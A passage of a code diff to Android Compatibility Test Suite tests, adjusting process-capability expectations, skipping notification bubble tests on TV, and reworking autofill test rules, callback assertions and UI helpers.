+                    new Integer(PROCESS_CAPABILITY_NONE));
             // stop FGSL
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -111,7 +107,7 @@
             // Package1 is in STATE_FG_SERVICE, but won't get location capability.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                    new Integer(PROCESS_CAPABILITY_NONE));
             // stop FGSL.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -170,7 +166,7 @@
             // Package2 won't have location capability because package1 is not in TOP state.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                    new Integer(PROCESS_CAPABILITY_NONE));
             waiter.doWait(WAITFOR_MSEC);
 
             CommandReceiver.sendCommand(mContext,
@@ -246,7 +242,7 @@
             // Package2 won't have location capability.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                    new Integer(PROCESS_CAPABILITY_NONE));
             // Stop FGSL in package2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -274,7 +270,7 @@
             // Package2 won't have location capability.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                    new Integer(PROCESS_CAPABILITY_NONE));
             waiter.doWait(WAITFOR_MSEC);
             // stop FGSL in package2.
             CommandReceiver.sendCommand(mContext,
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 572f9e7..a966d2b 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -1465,7 +1465,7 @@
 
     public void testCanBubble_ranking() throws Exception {
         if ((mActivityManager.isLowRamDevice() && !FeatureUtil.isWatch())
-                || FeatureUtil.isAutomotive()) {
+                || FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
             return;
         }
 
@@ -2876,8 +2876,8 @@
 
     public void testNotificationManagerBubblePolicy_flag_intentBubble()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -2896,8 +2896,8 @@
 
     public void testNotificationManagerBubblePolicy_noFlag_service()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         Intent serviceIntent = new Intent(mContext, BubblesTestService.class);
@@ -2922,8 +2922,8 @@
 
     public void testNotificationManagerBubblePolicy_noFlag_phonecall()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         Intent serviceIntent = new Intent(mContext, BubblesTestService.class);
@@ -2948,8 +2948,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_noFlag_foreground() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -2975,8 +2975,8 @@
 
     public void testNotificationManagerBubble_checkActivityFlagsDocumentLaunchMode()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3016,8 +3016,8 @@
 
     public void testNotificationManagerBubblePolicy_flag_shortcutBubble()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3041,8 +3041,8 @@
 
     public void testNotificationManagerBubblePolicy_noFlag_invalidShortcut()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3066,8 +3066,8 @@
 
     public void testNotificationManagerBubblePolicy_noFlag_invalidNotif()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3089,8 +3089,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appAll_globalOn() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3112,8 +3112,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appAll_globalOff() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3134,8 +3134,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appAll_channelNo() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3156,8 +3156,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appSelected_channelNo() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3178,8 +3178,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appSelected_channelYes() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3201,8 +3201,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appNone_channelNo() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3224,8 +3224,8 @@
 
     public void testNotificationManagerBubblePolicy_noFlag_shortcutRemoved()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
 
@@ -3251,8 +3251,8 @@
     }
 
     public void testNotificationManagerBubbleNotificationSuppression() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index 7174f36..e877350 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -124,6 +124,10 @@
     }
 
     public void testNightModeAutoNotPersistedCarMode() {
+        if (mUiModeManager.isNightModeLocked()) {
+            return;
+        }
+
         // Reset the mode to no if it is set to another value
         setNightMode(UiModeManager.MODE_NIGHT_NO);
         mUiModeManager.enableCarMode(0);
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index 5b0f9a1..b80b2dc 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -78,10 +78,11 @@
 
     @Before
     public void setUp() throws Exception {
-        MockitoAnnotations.initMocks(this);
         mContext = InstrumentationRegistry.getTargetContext();
         mWallpaperManager = WallpaperManager.getInstance(mContext);
         assumeTrue("Device does not support wallpapers", mWallpaperManager.isWallpaperSupported());
+
+        MockitoAnnotations.initMocks(this);
         final HandlerThread handlerThread = new HandlerThread("TestCallbacks");
         handlerThread.start();
         mHandler = new Handler(handlerThread.getLooper());
@@ -102,7 +103,9 @@
 
     @After
     public void tearDown() throws Exception {
-        mContext.unregisterReceiver(mBroadcastReceiver);
+        if (mBroadcastReceiver != null) {
+            mContext.unregisterReceiver(mBroadcastReceiver);
+        }
     }
 
     @Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
index ed2d219..6893090 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
@@ -38,9 +38,9 @@
 import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.MockImeSession;
 
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
 
 import java.util.regex.Pattern;
 
@@ -53,15 +53,12 @@
         super(inlineUiBot);
     }
 
-    @BeforeClass
-    public static void setMaxDatasets() throws Exception {
-        Helper.setMaxVisibleDatasets(4);
+    @Override
+    protected TestRule getMainTestRule() {
+        return RuleChain.outerRule(new MaxVisibleDatasetsRule(4))
+                        .around(super.getMainTestRule());
     }
 
-    @AfterClass
-    public static void restoreMaxDatasets() throws Exception {
-        Helper.setMaxVisibleDatasets(0);
-    }
 
     private void changeUsername(CharSequence username) {
         mActivity.onUsername((v) -> v.setText(username));
@@ -108,22 +105,19 @@
         changeUsername("aa");
         mUiBot.assertDatasets(aa);
 
-        // Only two datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-
         // No dataset start with 'aaa'
         final MyAutofillCallback callback = mActivity.registerCallback();
         changeUsername("aaa");
-        // TODO(b/157762527): Fix this for the inline case.
-        if (!isInlineMode()) {
-            callback.assertUiHiddenEvent(mActivity.getUsername());
-        }
+        callback.assertUiHiddenEvent(mActivity.getUsername());
         mUiBot.assertNoDatasets();
+
+        // Delete some text to bring back 2 datasets
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // With no filter text all datasets should be shown again
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
     }
 
     @Test
@@ -179,10 +173,7 @@
         sendKeyEvent("KEYCODE_A");
         sendKeyEvent("KEYCODE_A");
         sendKeyEvent("KEYCODE_A");
-        // TODO(b/157762527): Fix this for the inline case.
-        if (!isInlineMode()) {
-            callback.assertUiHiddenEvent(mActivity.getUsername());
-        }
+        callback.assertUiHiddenEvent(mActivity.getUsername());
         mUiBot.assertNoDatasets();
     }
 
@@ -253,10 +244,7 @@
         final MyAutofillCallback callback = mActivity.registerCallback();
         final ImeCommand cmd5 = mockImeSession.callCommitText("aaa", 1);
         expectCommand(stream, cmd5, MOCK_IME_TIMEOUT_MS);
-        // TODO(b/157762527): Fix this for the inline case.
-        if (!isInlineMode()) {
-            callback.assertUiHiddenEvent(mActivity.getUsername());
-        }
+        callback.assertUiHiddenEvent(mActivity.getUsername());
         mUiBot.assertNoDatasets();
     }
 
@@ -413,10 +401,7 @@
         // No dataset start with 'aaa'
         final MyAutofillCallback callback = mActivity.registerCallback();
         changeUsername("aaa");
-        // TODO(b/157762527): Fix this for the inline case.
-        if (!isInlineMode()) {
-            callback.assertUiHiddenEvent(mActivity.getUsername());
-        }
+        callback.assertUiHiddenEvent(mActivity.getUsername());
         mUiBot.assertNoDatasets();
     }
 
@@ -483,10 +468,7 @@
         // No dataset start with 'aaa'
         final MyAutofillCallback callback = mActivity.registerCallback();
         changeUsername("aaa");
-        // TODO(b/157762527): Fix this for the inline case.
-        if (!isInlineMode()) {
-            callback.assertUiHiddenEvent(mActivity.getUsername());
-        }
+        callback.assertUiHiddenEvent(mActivity.getUsername());
         mUiBot.assertNoDatasets();
     }
 
@@ -616,6 +598,7 @@
         resetFilterTest(3);
     }
 
+    // Tests that datasets are re-shown and filtering still works after clearing a selected value.
     private void resetFilterTest(int number) throws Exception {
         final String aa = "Two A's";
         final String ab = "A and B";
@@ -669,38 +652,6 @@
         // With no filter text all datasets should be shown
         mUiBot.assertDatasets(aa, ab, b);
 
-        // Only two datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // One dataset starts with 'aa'
-        changeUsername("aa");
-        mUiBot.assertDatasets(aa);
-
-        // Filter all out
-        changeUsername("aaa");
-        // TODO(b/157762527): Fix this for the inline case.
-        if (!isInlineMode()) {
-            callback.assertUiHiddenEvent(username);
-        }
-        mUiBot.assertNoDatasets();
-
-        // Now delete the char and assert aa is showing again
-        changeUsername("aa");
-        // TODO(b/157762527): Fix this for the inline case.
-        if (!isInlineMode()) {
-            callback.assertUiShownEvent(username);
-        }
-        mUiBot.assertDatasets(aa);
-
-        // Delete one more and assert two datasets showing
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // Reset back to all choices
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-
         // select the choice
         mUiBot.selectDataset(chosenOne);
         callback.assertUiHiddenEvent(username);
@@ -709,6 +660,10 @@
         // Check the results.
         mActivity.assertAutoFilled();
 
+        // Change the filled text and check that filtering still works.
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
         // Reset back to all choices
         changeUsername("");
         mUiBot.assertDatasets(aa, ab, b);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
index 2854b4c..f86c752 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
@@ -202,10 +202,10 @@
         sReplier.addResponse(new CannedFillResponse.Builder().disableAutofill(duration).build());
 
         // Trigger autofill for the first time.
-        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
 
         // Launch activity again.
-        passedTime += launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
 
         // Wait for the timeout, then try again, autofilling it this time.
         sleep(passedTime, duration);
@@ -275,10 +275,10 @@
                 .build());
 
         // Trigger autofill for the first time.
-        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
 
         // Launch activity again.
-        passedTime += launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
 
         // Make sure other app is working.
         passedTime += launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
@@ -334,7 +334,6 @@
         }
         Log.v(TAG, "Sleeping for " + napTime + "ms (duration=" + disableDuration + "ms, passedTime="
                 + passedTime + ")");
-
         SystemClock.sleep(napTime);
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
index 1ef42c5..1bad60a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
@@ -117,6 +117,10 @@
         // Set service.
         enableService();
 
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final View username = mActivity.getUsername();
+        final View password = mActivity.getPassword();
+
         String[] expectedDatasets = new String[numDatasets];
         final CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
         for (int i = 0; i < numDatasets; i++) {
@@ -136,11 +140,13 @@
         mUiBot.waitForIdle();
 
         mUiBot.assertDatasets(expectedDatasets);
+        callback.assertUiShownEvent(username);
 
         mUiBot.selectDataset(expectedDatasets[selectedDatasetIndex]);
 
         // Check the results.
         mActivity.assertAutoFilled();
+        callback.assertUiHiddenEvent(username);
 
         // Make sure input was sanitized.
         final InstrumentedAutoFillService.FillRequest request = sReplier.getNextFillRequest();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 6091924..9e7c599 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -501,7 +501,12 @@
                 "Username1 at " + usernameBoundaries1 + "; picker at " + usernamePickerBoundaries1);
         // TODO(b/37566627): assertions below might be too aggressive - use range instead?
         if (pickerAndViewBoundsMatches) {
-            assertThat(usernamePickerBoundaries1.top).isEqualTo(usernameBoundaries1.bottom);
+            if (usernamePickerBoundaries1.top < usernameBoundaries1.bottom) {
+                assertThat(usernamePickerBoundaries1.bottom).isEqualTo(usernameBoundaries1.top);
+            } else {
+                assertThat(usernamePickerBoundaries1.top).isEqualTo(usernameBoundaries1.bottom);
+            }
+
             assertThat(usernamePickerBoundaries1.left).isEqualTo(usernameBoundaries1.left);
         }
 
@@ -514,7 +519,11 @@
                 "Password1 at " + passwordBoundaries1 + "; picker at " + passwordPickerBoundaries1);
         // TODO(b/37566627): assertions below might be too aggressive - use range instead?
         if (pickerAndViewBoundsMatches) {
-            assertThat(passwordPickerBoundaries1.top).isEqualTo(passwordBoundaries1.bottom);
+            if (passwordPickerBoundaries1.top < passwordBoundaries1.bottom) {
+                assertThat(passwordPickerBoundaries1.bottom).isEqualTo(passwordBoundaries1.top);
+            } else {
+                assertThat(passwordPickerBoundaries1.top).isEqualTo(passwordBoundaries1.bottom);
+            }
             assertThat(passwordPickerBoundaries1.left).isEqualTo(passwordBoundaries1.left);
         }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java b/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java
new file mode 100644
index 0000000..8a397d9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that improves autofill-related environment by:
+ *
+ * <ol>
+ *   <li>Setting max_visible_datasets before and after test.
+ * </ol>
+ */
+public final class MaxVisibleDatasetsRule implements TestRule {
+
+    private static final String TAG = MaxVisibleDatasetsRule.class.getSimpleName();
+
+    private final int mMaxNumber;
+
+    /**
+     * Creates a MaxVisibleDatasetsRule with given datasets values.
+     *
+     * @param maxNumber The desired max_visible_datasets value for a test,
+     * after the test it will be replaced by the original value
+     */
+    public MaxVisibleDatasetsRule(int maxNumber) {
+        mMaxNumber = maxNumber;
+    }
+
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                final int original = Helper.getMaxVisibleDatasets();
+                Helper.setMaxVisibleDatasets(mMaxNumber);
+                try {
+                    base.evaluate();
+                } finally {
+                    Helper.setMaxVisibleDatasets(original);
+                }
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
index 22ba3b9..54f391b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SettingsIntentTest.java
@@ -26,6 +26,8 @@
 import android.provider.Settings;
 import android.support.test.uiautomator.UiObject2;
 
+import com.android.compatibility.common.util.FeatureUtil;
+
 import org.junit.After;
 import org.junit.Test;
 
@@ -51,8 +53,12 @@
 
     @After
     public void killSettings() {
-        // Make sure there's no Settings activity left , as it could fail future tests.
-        runShellCommand("am force-stop com.android.settings");
+        // Make sure there's no Settings activity left, as it could fail future tests.
+        if (FeatureUtil.isAutomotive()) {
+            runShellCommand("am force-stop com.android.car.settings");
+        } else {
+            runShellCommand("am force-stop com.android.settings");
+        }
     }
 
     @Test
@@ -65,6 +71,7 @@
         // Asserts services are shown.
         mUiBot.assertShownByText(InstrumentedAutoFillService.sServiceLabel);
         mUiBot.assertShownByText(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
+        mUiBot.scrollToTextObject(NoOpAutofillService.SERVICE_LABEL);
         mUiBot.assertShownByText(NoOpAutofillService.SERVICE_LABEL);
         mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index f67bd5c..fb878d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -1812,7 +1812,7 @@
 
         // Tapping URLSpan.
         final URLSpan span = mUiBot.findFirstUrlSpanWithText("Here is URLSpan");
-        span.onClick(/* unused= */ null);
+        mActivity.syncRunOnUiThread(() -> span.onClick(/* unused= */ null));
         // Waits for the save UI hided
         mUiBot.waitForIdle();
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 8babc6c..88173d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -55,6 +55,9 @@
 import android.support.test.uiautomator.SearchCondition;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.text.Html;
 import android.text.Spanned;
@@ -1246,4 +1249,15 @@
                 .getSpans(0, accessibilityTextWithSpan.length(), URLSpan.class);
         return spans[0];
     }
+
+    public boolean scrollToTextObject(String text) {
+        UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true));
+        try {
+            // Swipe far away from the edges to avoid triggering navigation gestures
+            scroller.setSwipeDeadZonePercentage(0.25);
+            return scroller.scrollTextIntoView(text);
+        } catch (UiObjectNotFoundException e) {
+            return false;
+        }
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index c9f676f..6634ec0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -110,9 +110,9 @@
         DisplayMetrics metrics = new DisplayMetrics();
         WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
         wm.getDefaultDisplay().getMetrics(metrics);
-        mTopMargin = metrics.heightPixels * 5 / 100;
-        mLeftMargin = metrics.widthPixels * 5 / 100;
-        mTextHeight = metrics.widthPixels * 5 / 100; // adjust text size with display width
+        mTopMargin = metrics.heightPixels * 3 / 100;
+        mLeftMargin = metrics.widthPixels * 3 / 100;
+        mTextHeight = metrics.widthPixels * 3 / 100; // adjust text size with display width
         mVerticalGap = metrics.heightPixels / 100;
 
         mLineLength = mTextHeight + mVerticalGap;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
index e303321..036e744 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
@@ -22,11 +22,19 @@
 import android.autofillservice.cts.DatasetFilteringTest;
 import android.autofillservice.cts.Helper;
 
+import org.junit.rules.TestRule;
+
 public class DatasetFilteringInlineTest extends DatasetFilteringTest {
     public DatasetFilteringInlineTest() {
         super(getInlineUiBot());
     }
 
+
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Override
     protected boolean isInlineMode() {
         return true;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
index 75c1042..332c645 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
@@ -29,6 +29,7 @@
 
 import android.autofillservice.cts.AutofillActivityTestRule;
 import android.autofillservice.cts.Helper;
+import android.autofillservice.cts.MyAutofillCallback;
 import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
 import android.autofillservice.cts.augmented.AugmentedLoginActivity;
 import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
@@ -42,6 +43,7 @@
 import android.widget.EditText;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 import java.util.List;
 
@@ -65,6 +67,11 @@
         };
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testAugmentedAutoFill_oneDatasetThenFilled() throws Exception {
         // Set services
@@ -175,6 +182,8 @@
     }
 
     private void testBasicLoginAutofill() throws Exception {
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
         // Set expectations
         final EditText username = mActivity.getUsername();
         final EditText password = mActivity.getPassword();
@@ -202,6 +211,7 @@
 
         // Confirm two suggestion
         mUiBot.assertDatasets("dude");
+        callback.assertUiShownEvent(username);
 
         mActivity.expectAutoFill("dude", "sweet");
 
@@ -210,6 +220,8 @@
         mUiBot.waitForIdle();
 
         mActivity.assertAutoFilled();
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiHiddenEvent(username);
     }
 
     @Test
@@ -315,6 +327,8 @@
         Helper.mockSwitchInputMethod(sContext);
         mUiBot.waitForIdleSync();
 
+        // Set new expectations
+        sReplier.addResponse(NO_RESPONSE);
         sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
                 .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me 2")
                         .setField(usernameId, "dude2", createInlinePresentation("dude2"))
@@ -326,8 +340,7 @@
         // Trigger auto-fill
         mUiBot.selectByRelativeId(ID_USERNAME);
         mUiBot.waitForIdle();
-
-        // Confirm new fill request
+        sReplier.getNextFillRequest();
         sAugmentedReplier.getNextFillRequest();
 
         // Confirm new suggestion
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
index 43c2abc..5c63891 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
@@ -38,6 +38,7 @@
 import android.platform.test.annotations.AppModeFull;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 import java.util.regex.Pattern;
 
@@ -61,6 +62,11 @@
         Helper.enableAutofillService(getContext(), SERVICE_NAME);
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testDatasetAuthTwoFields() throws Exception {
         datasetAuthTwoFields(/* cancelFirstAttempt */ false);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
index feba57c..595b7ea 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
@@ -39,6 +39,7 @@
 import android.support.test.uiautomator.UiObject2;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 import java.util.List;
 
@@ -62,6 +63,11 @@
         Helper.enableAutofillService(getContext(), SERVICE_NAME);
     }
 
+    @Override
